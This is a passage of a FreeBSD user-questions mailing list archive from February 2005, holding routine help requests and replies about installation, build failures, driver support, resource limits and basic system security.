List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:45:22 -0000 Hello, I have been trying to install FreeBSD on my machine with a new motherboard with built in hardware RAID and the installation freezes at system probing. Is there a known way around this problem? The motherboard is a Gigabyte GA-7N400 Pro2 (Rev 2.0). I have configured two Seagate 160GB IDE drives for RAID 1, have a PCI video card and PCI modem installed. I also tried to install the operating system with the RAID turned off and one hard drive on IDE 0 but the installation also failed. Any suggestions? Sincerely, Richard Blanchard -- Richard Blanchard Badlands Fab and Machine 475 North Frontage Road Helper, Utah 84526 Phone: 435.472.3222 Fax: 435.472.1322 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:47:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2566A16A4CE for ; Tue, 8 Feb 2005 19:47:25 +0000 (GMT) Received: from via.mailbox.hu (netfinity2.mailbox.hu [195.70.35.152]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7506043D2D for ; Tue, 8 Feb 2005 19:47:24 +0000 (GMT) (envelope-from ricsip@mailbox.hu) Received: from via.mailbox.hu (web1.mailbox.hu [10.70.35.72]) by via.mailbox.hu (Postfix) with ESMTP id 56AB93A1251 for ; Tue, 8 Feb 2005 20:46:35 +0100 (CET) Received: from ad.mailbox.hu (unknown [10.0.0.11]) by via.mailbox.hu (Postfix) with SMTP id 44E3D3A0A95 for ; Tue, 8 Feb 2005 20:46:33 +0100 (CET) Received: (qmail 30095 invoked by uid 65534); 8 Feb 2005 19:53:42 -0000 Message-ID: <20050208195342.30094.qmail@ad.mailbox.hu> Received: from [81.182.12.229] by web1.mailbox.hu via HTTP; Tue, 08 Feb 2005 20:53:42 +0100 From: =?iso-8859-2?B?IlDhc3p0b3IgUmljaOFyZCIg?= Date: Tue, 08 Feb 2005 20:53:42 +0100 To: freebsd-questions@freebsd.org X-Mailer: Postino MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV using ClamSMTP Subject: Re:Sysinstall problem with network settings X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:47:25 -0000 Ok, i was very lame :) cat /etc/rc.conf shows that sysinst put there the required config lines, but didnt pass them to ifconfig. After a reboot, it worked well, i just thought that sysinstall will configure ifconfig at once. I can remember, that problem was about Freesbie, which cant save the modified rc.conf, so i wasnt able to config the network by using sysintall. Anyway, thanx for mentioning that! ricsip From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 19:50:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4300C16A4CE for ; Tue, 8 Feb 2005 19:50:31 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 20C2243D4C for ; Tue, 8 Feb 2005 19:50:30 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j18JoPGf010212 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Feb 2005 11:50:26 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j18JoPNq010210; Tue, 8 Feb 2005 11:50:25 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 11:50:25 -0800 From: "Loren M. Lang" To: Brian John Message-ID: <20050208195025.GI8619@alzatex.com> References: <4205CA2F.9080107@fusemail.com> <20050207114741.GC8619@alzatex.com> <42084226.2060004@fusemail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <42084226.2060004@fusemail.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 19:50:31 -0000 On Mon, Feb 07, 2005 at 10:37:58PM -0600, Brian John wrote: > Loren M. Lang wrote: > > >On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: > > > > > >>Hello, whenever I try to run realplayer I get the following: > >>$ realplay > >> > >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > >>Failed to load pixbuf file: > >>/usr/local/lib/RealPlayer/share/realplay/icon.png: Couldn't recognize > >>the image file format for file > >>'/usr/local/lib/RealPlayer/share/realplay/icon.png' > >> > >> > > > >Install graphics/linux-gdk-pixbuf from ports. > > > > > > > >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > >> It looks as if maybe some autogenerated file didn't get generated. Try reinstalling realplayer and gdk-pixbuf. portupgrade -f will do that. Also, did you say whether your using realplayer from ports or the original package it comes in. I had this problem before, I think it might of been a problem with linux_base being too old. It was only rh 7 and upgrading to rh 8 or 9 fixed it. Personally, I recommend just using linux_base-rh-9 for the best compatibility for linux binaries. > >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > >> > >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader > >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory > >> > >> > >>Thanks > >> > >>/Brian > >>_______________________________________________ > >>freebsd-questions@freebsd.org mailing list > >>http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >>To unsubscribe, send any mail to > >>"freebsd-questions-unsubscribe@freebsd.org" > >> > >> > > > > > > > It looks like it is already installed. This is what it says when I try > to install it: > => Attempting to fetch from > http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/. > gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of 222 kB 52 kBps > ===> Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1 > => Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm. > ===> Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1 > ===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - found > ===> Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1 > ===> Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1 > ===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: > /compat/linux/etc/redhat-release - found > ===> Generating temporary packing list > ===> Checking if graphics/linux-gdk-pixbuf already installed > gdk-pixbuf-0.22.0-11.3.5.i386.rpm > > Any other clue what might have caused this? > > Thanks for the help > > /Brian -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 20:05:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 40F8316A4CE for ; Tue, 8 Feb 2005 20:05:57 +0000 (GMT) Received: from smtp2.versatel.nl (smtp2.versatel.nl [62.58.50.89]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6AA5D43D41 for ; Tue, 8 Feb 2005 20:05:56 +0000 (GMT) (envelope-from f.staals@zonnet.nl) Received: (qmail 18527 invoked by uid 10); 8 Feb 2005 20:05:54 -0000 Received: (vexira-qq 18520-393A0A7B invoked from network) 08 Feb 2005 21:05:54 +0100 Received: from unknown (HELO [192.168.2.2]) ([62.59.173.176]) (envelope-sender ) by smtp2.versatel.nl (qmail-ldap-1.03) with SMTP for < >; 8 Feb 2005 20:05:54 -0000 Message-ID: <4209299C.9030007@zonnet.nl> Date: Tue, 08 Feb 2005 21:05:32 +0000 From: Frank Staals User-Agent: Mozilla Thunderbird 0.9 (X11/20041109) X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.29.0.7; VDF: 6.29.0.100; host: postbode02.zonnet.nl) Subject: Acer Aspire 1356 LCi + WLAN X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 20:05:57 -0000 In august last year I bought an Acer Aspire 1356 LCi laptop. WLAN was built in but I knew it wouldn't work in FreeBSD yet, so I used a SMC2662W USB WLAN adapter. Now half a year later I was wondering Maybe I can setup the internal WLAN connector than I can use the USB adapter on a different computer. By google'ing on the laptop name + WLAN didn't bring up much of a help. So my question was does anyone have a Acers Aspire 1350 series ( or similar ) with internal WLAN working with FreeBSD ? Currently I am running FreeBSD 5.3-stable, for the SMC I use the atuwi drivers: www.vitsch.net/bsd/atuwi/ Thanks in advance Frank Staals From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 20:06:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1297716A4CE for ; Tue, 8 Feb 2005 20:06:23 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id D0FC443D39 for ; Tue, 8 Feb 2005 20:06:22 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id DE793512FC; Tue, 8 Feb 2005 12:06:21 -0800 (PST) Date: Tue, 8 Feb 2005 12:06:21 -0800 From: Kris Kennaway To: lists Message-ID: <20050208200621.GA98115@xor.obsecurity.org> References: <008c01c50e13$10443480$0100a8c0@Main> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Nq2Wo0NMKNjxTN9z" Content-Disposition: inline In-Reply-To: <008c01c50e13$10443480$0100a8c0@Main> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: make buildworld broke X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 20:06:23 -0000 --Nq2Wo0NMKNjxTN9z Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, Feb 08, 2005 at 02:18:58PM -0500, lists wrote: > I had a box crash and I got it up again. I lost some information in / and > /etc. > After some reconstructing, it seems to be running fine and all the services > are working. I wanted to do > a buildworld just to update anything I might have missed. When I try, I > always get a stop error. How can > I get my buildworld back, I dont want to take the box offline for long. I > also need to add another proc to it, > which means I need to add smp support, which I can't currently do. What is > the best course of action for me from > here? Am I overlooking something simple? > FreeBSD 5.2.1-RELEASE FreeBSD 5.2.1-RELEASE #0: What is the exact error you receive? Kris --Nq2Wo0NMKNjxTN9z Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCRu9Wry0BWjoQKURAs38AKC7cv3c7/kBwpFrVCqFntdQRCkjfgCfZGUv JMDLZNTHfLfDeLq3A8qiHgo= =++D9 -----END PGP SIGNATURE----- --Nq2Wo0NMKNjxTN9z-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 20:34:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2895A16A4CE for ; Tue, 8 Feb 2005 20:34:02 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8DD4443D48 for ; Tue, 8 Feb 2005 20:34:01 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0904.wanadoo.fr (SMTP Server) with ESMTP id 54AA924001A2 for ; Tue, 8 Feb 2005 21:34:00 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0904.wanadoo.fr (SMTP Server) with ESMTP id 2E3672400188 for ; Tue, 8 Feb 2005 21:34:00 +0100 (CET) X-ME-UUID: 20050208203400189.2E3672400188@mwinf0904.wanadoo.fr Date: Tue, 8 Feb 2005 21:33:59 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <140493020.20050208213359@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Newbie Security Concerns X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 20:34:02 -0000 crzdgns1@starpower.net writes: > I am a new user of UNIX and FreeBSD and have never had to do any > administration or security configuration myself before. I am running > IP Firewall on FreeBSD-5.3-RELEASE. Last night I was checking my > logs and discovered that sshd reported many illegal users. Does > that mean my system i compromised? As configured, there are only > three accounts on my system, root, toor, and one user account for > me. I suppose you need more information from me, but am not sure > what to provide. Any help would be greatly appreciated. FreeBSD is no more or less vulnerable than most other operating systems. It can be very secure if you are careful about what you run on the system, and it can be very insecure if you run everything under the sun without taking any precautions. Fortunately, there aren't as many kiddies trying to break into UNIX as there are trying to break into Windows these days, but at the same time, a majority of reported security bugs these days seem to be on Linux. A more important question is the use you intend to make of the system. A desktop system can be secured more easily than a server, because a desktop doesn't have to answer unsolicited incoming traffic from the Net, whereas a server _must_ do this, by definition. So servers always have a few doors open, whereas you can close all the doors on a desktop. The only virus infection I've ever had, ironically, was on FreeBSD, when a worm found its way into the Web server. It was a software bug, and since the HTTP port _must_ be open in order for the server to handle my Web site, I couldn't just lock things out. The worm didn't get far, though, because, when it tried to call its master, the reply from its master was blocked by my firewall. Still, that's the only virus infection I've had in decades of working on computers, as far as I can remember. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 20:50:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 066F216A4D1 for ; Tue, 8 Feb 2005 20:50:27 +0000 (GMT) Received: from ns0.dcoder.net (ns0.dcoder.com [161.58.128.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8537843D58 for ; Tue, 8 Feb 2005 20:50:24 +0000 (GMT) (envelope-from dacoder@dcoder.net) Received: from porky.dcoder.com (porky.dcoder.com [161.58.128.7]) by ns0.dcoder.net (Postfix) with ESMTP id 1369850E83 for ; Tue, 8 Feb 2005 15:50:24 -0500 (EST) Date: Tue, 8 Feb 2005 15:50:24 -0500 (EST) From: David Coder Sender: dacoder@ns0.dcoder.com To: questions@freebsd.org Message-ID: <20050208141714.U1288@ns0.dcoder.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: kern.ipc tuning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: David Coder List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 20:50:27 -0000 on 4.11 /etc/sysctl.conf does not appear to be an effective place to put kern.ipc.*= statements. nor does /boot/loader.conf, unless the foregoing is the wrong syntax. is it? or does one need to recompile the kernel? David Coder Network Engineer NTT/Verio From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:02:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 55E6D16A4CE for ; Tue, 8 Feb 2005 21:02:18 +0000 (GMT) Received: from xmail.cityofpaloalto.org (cerberus.city.palo-alto.ca.us [199.33.32.254]) by mx1.FreeBSD.org (Postfix) with ESMTP id 10C2843D45 for ; Tue, 8 Feb 2005 21:02:18 +0000 (GMT) (envelope-from Viraj.Dixit@CityofPaloAlto.org) Received: from cc-mail.cityofpaloalto.org ([172.17.1.1]) by xmail.cityofpaloalto.org with Microsoft SMTPSVC(6.0.3790.211); Tue, 8 Feb 2005 13:02:17 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Tue, 8 Feb 2005 13:02:16 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: RE: Telnet and FTP question thread-index: AcUOIXfzSL4QjNL5T+SQjPz7y/aRpw== From: "Dixit, Viraj" To: X-OriginalArrivalTime: 08 Feb 2005 21:02:17.0809 (UTC) FILETIME=[79158410:01C50E21] Subject: RE: Telnet and FTP question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:02:18 -0000 Hi, I have been searching for few days everywhere an answer to this = question. Is there a way to stop telnet access for a group let's say = ftponly but allow them to have FTP access in FreeBSD 5.3. I know this = works in my old system BSD OS 4.3. The commands are like this in = login.conf file in BSD OS 4.3. #restrict telnet for ftponly group only ftponly:\ :auth-network=3Dreject:\ :auth-ftp=3Dpasswd: Thanks VJ From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:23:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6699416A4CE for ; Tue, 8 Feb 2005 21:23:05 +0000 (GMT) Received: from mail23.sea5.speakeasy.net (mail23.sea5.speakeasy.net [69.17.117.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3398543D46 for ; Tue, 8 Feb 2005 21:23:05 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 14529 invoked from network); 8 Feb 2005 21:23:05 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail23.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 8 Feb 2005 21:23:04 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id E7A5F44; Tue, 8 Feb 2005 16:23:03 -0500 (EST) Sender: lowell@be-well.ilk.org To: dreyes@eaznet.com References: <20050208192555.00E50106D73@mail.eaznet.com> From: Lowell Gilbert Date: 08 Feb 2005 16:23:03 -0500 In-Reply-To: <20050208192555.00E50106D73@mail.eaznet.com> Message-ID: <44k6piyceg.fsf@be-well.ilk.org> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable cc: freebsd-questions@freebsd.org Subject: Re: help with foxpro and FreeBSD 4.5 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:23:05 -0000 "Dante Reyes" writes: > I am currently trying to install FoxPro 2.6 for unix onto FreeBSD 4.5.=A0 > However, any time I try to run FoxPro, I get the message "Too many files > open."=A0 After doing some research, it does not appear a file handling > problem. I'll ignore that last sentence, as I can't parse it in a way that provides any information that could solve the problem. You could be running into user limits or system limits. The user limits are visible through the limits(1) command, and the system limits are visible through sysctl(8) (kern.maxfiles, kern.maxfilesperproc, kern.openfiles). From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:33:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 804FE16A4CE for ; Tue, 8 Feb 2005 21:33:18 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 03E5C43D39 for ; Tue, 8 Feb 2005 21:33:16 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so980940wri for ; Tue, 08 Feb 2005 13:33:15 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=evY7kidyR0+Ufjxes0LSbmuyGaxuzYPz+a2dumP49aTGF8WH6Mkius0lGBmSxjdUqcHs53G68aOBUwMSIomY5rsWi4wOfpElWc+NMgw9X+TDQ553hK7Hr6CP9ovpA7Dc/xRurYO2tzQoVhRHvYVyT+rtlheq/vUgn5TSIKlGhRI= Received: by 10.54.42.8 with SMTP id p8mr247967wrp; Tue, 08 Feb 2005 13:33:15 -0800 (PST) Received: by 10.54.42.28 with HTTP; Tue, 8 Feb 2005 13:33:14 -0800 (PST) Message-ID: <810a540e050208133310333144@mail.gmail.com> Date: Tue, 8 Feb 2005 14:33:14 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:33:18 -0000 I've always got a lot of inactive memory on my machine, around 520MB or so. While doing a portupgrade, the free memory dropped to around 13MB. I'm just curious what exactly the inactive memory is. Will the OS use the inactive memory before dipping into swap? Or is that memory off limits now? If so, is there any way to free it up? I've got 1GB total on the machine. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:33:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C866B16A4CE for ; Tue, 8 Feb 2005 21:33:36 +0000 (GMT) Received: from mirapoint2.tis.cwru.edu (mirapoint2.TIS.CWRU.Edu [129.22.104.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3190543D54 for ; Tue, 8 Feb 2005 21:33:36 +0000 (GMT) (envelope-from ttt@cwru.edu) Received: from [172.16.102.125] (fw1-dmz.cwru.edu [192.5.109.49]) by mirapoint2.tis.cwru.edu (MOS 3.5.4-GR) with ESMTP id DIJ22435 (AUTH ttt); Tue, 8 Feb 2005 16:33:28 -0500 (EST) Message-ID: <42093027.40208@cwru.edu> Date: Tue, 08 Feb 2005 16:33:27 -0500 From: Tom Trelvik User-Agent: Mozilla Thunderbird 1.0 (Macintosh/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: groff/font/devX100 segfault in "make installworld" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:33:36 -0000 So I ran into this problem a few months ago when I first started setting up a couple new servers. At the time I found one person online who'd had a very similar sounding problem some time before that, and he said it had gone away on its own for him, and that he suspected it was something corrupt in the source tree. I moved /usr/src out of the way and tried to cvsup a fresh source tree, and things started working. But now, it looks like I had just gotten lucky somehow. I've reinstalled one of those systems and the same issue cropped back up again, and I'm at a loss as to what to do about it this time. Pretty much all I did was install the "User" distribution set from 5.3-RELEASE-amd64-miniinst.iso and then installed bash2, sudo, screen, vim (NO_GUI=yes), portupgrade, & cvsup-without-gui from ports (not that I expect those to matter, I'm just trying to be thorough since I did so little that I can think of that might affect this). I then created the following cvs-supfile: $ cat /root/cvs-supfile *default host=cvsup12.FreeBSD.org *default base=/var/db *default prefix=/usr *default release=cvs tag=RELENG_5_3 *default delete use-rel-suffix *default compress src-all ports-all tag=. and ran the following commands: # cd /usr/src && \ cvsup -g -L 2 /root/cvs-supfile && \ make buildworld && \ make buildkernel KERNCONF=GENERIC && \ make installkernel KERNCONF=GENERIC && \ make installworld and the "make installworld" ends with this segfault: ===> gnu/usr.bin/groff/doc install-info --quiet --defsection=Miscellaneous --defentry= groff.info /usr/s hare/info/dir install -o root -g wheel -m 444 groff.info.gz /usr/share/info ===> gnu/usr.bin/groff/font ===> gnu/usr.bin/groff/font/devX100 Segmentation fault (core dumped) *** Error code 139 I tried moving /usr/src out of the way again, and cvsup'ing a fresh source tree again, but to no avail, and I'm once again at a loss, and not really sure how to diagnose what's causing this. I don't suppose anyone has any suggestions or pointers? Thanks a ton, I really appreciate it! Tom From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:36:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7982616A4CE for ; Tue, 8 Feb 2005 21:36:16 +0000 (GMT) Received: from av1-2-sn4.m-sp.skanova.net (av1-2-sn4.m-sp.skanova.net [81.228.10.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1B2B443D5C for ; Tue, 8 Feb 2005 21:36:15 +0000 (GMT) (envelope-from ertr1013@student.uu.se) Received: by av1-2-sn4.m-sp.skanova.net (Postfix, from userid 502) id EFC3937E6E; Tue, 8 Feb 2005 22:36:13 +0100 (CET) Received: from smtp4-2-sn4.m-sp.skanova.net (smtp4-2-sn4.m-sp.skanova.net [81.228.10.180]) by av1-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id DC4E537E55 for ; Tue, 8 Feb 2005 22:36:13 +0100 (CET) Received: from falcon.midgard.homeip.net (h201n1fls24o1048.bredband.comhem.se [212.181.162.201]) by smtp4-2-sn4.m-sp.skanova.net (Postfix) with SMTP id 9AAF637E44 for ; Tue, 8 Feb 2005 22:36:13 +0100 (CET) Received: (qmail 29083 invoked by uid 1001); 8 Feb 2005 21:36:13 -0000 Date: Tue, 8 Feb 2005 22:36:12 +0100 From: Erik Trulsson To: Pat Maddox Message-ID: <20050208213612.GA29063@falcon.midgard.homeip.net> Mail-Followup-To: Pat Maddox , freebsd-questions@freebsd.org References: <810a540e050208133310333144@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <810a540e050208133310333144@mail.gmail.com> User-Agent: Mutt/1.5.6i cc: freebsd-questions@freebsd.org Subject: Re: Inactive memory X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 21:36:16 -0000 On Tue, Feb 08, 2005 at 02:33:14PM -0700, Pat Maddox wrote: > I've always got a lot of inactive memory on my machine, around 520MB > or so. While doing a portupgrade, the free memory dropped to around > 13MB. I'm just curious what exactly the inactive memory is. Will the > OS use the inactive memory before dipping into swap? Or is that > memory off limits now? If so, is there any way to free it up? I've > got 1GB total on the machine. http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#TOP-FREEMEM -- Erik Trulsson ertr1013@student.uu.se From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 21:43:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BA6F816A4CE for ; Tue, 8 Feb 2005 21:43:09 +0000 (GMT) Received: from smtp2.bahnhof.se (smtp2.bahnhof.se [213.80.101.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id A4DB843D3F for ; Tue, 8 Feb 2005 21:43:08 +0000 (GMT) (envelope-from mark.rowlands@mypost.se) Received: from mfilter2.bahnhof.se (mail.bahnhof.se [213.136.33.1]) by re-injector-s2.bahnhof.se (Postfix) with ESMTP id 913DA895A8; Tue, 8 Feb 2005 22:43:05 +0100 (CET) Received: from localhost (mfilter2.local 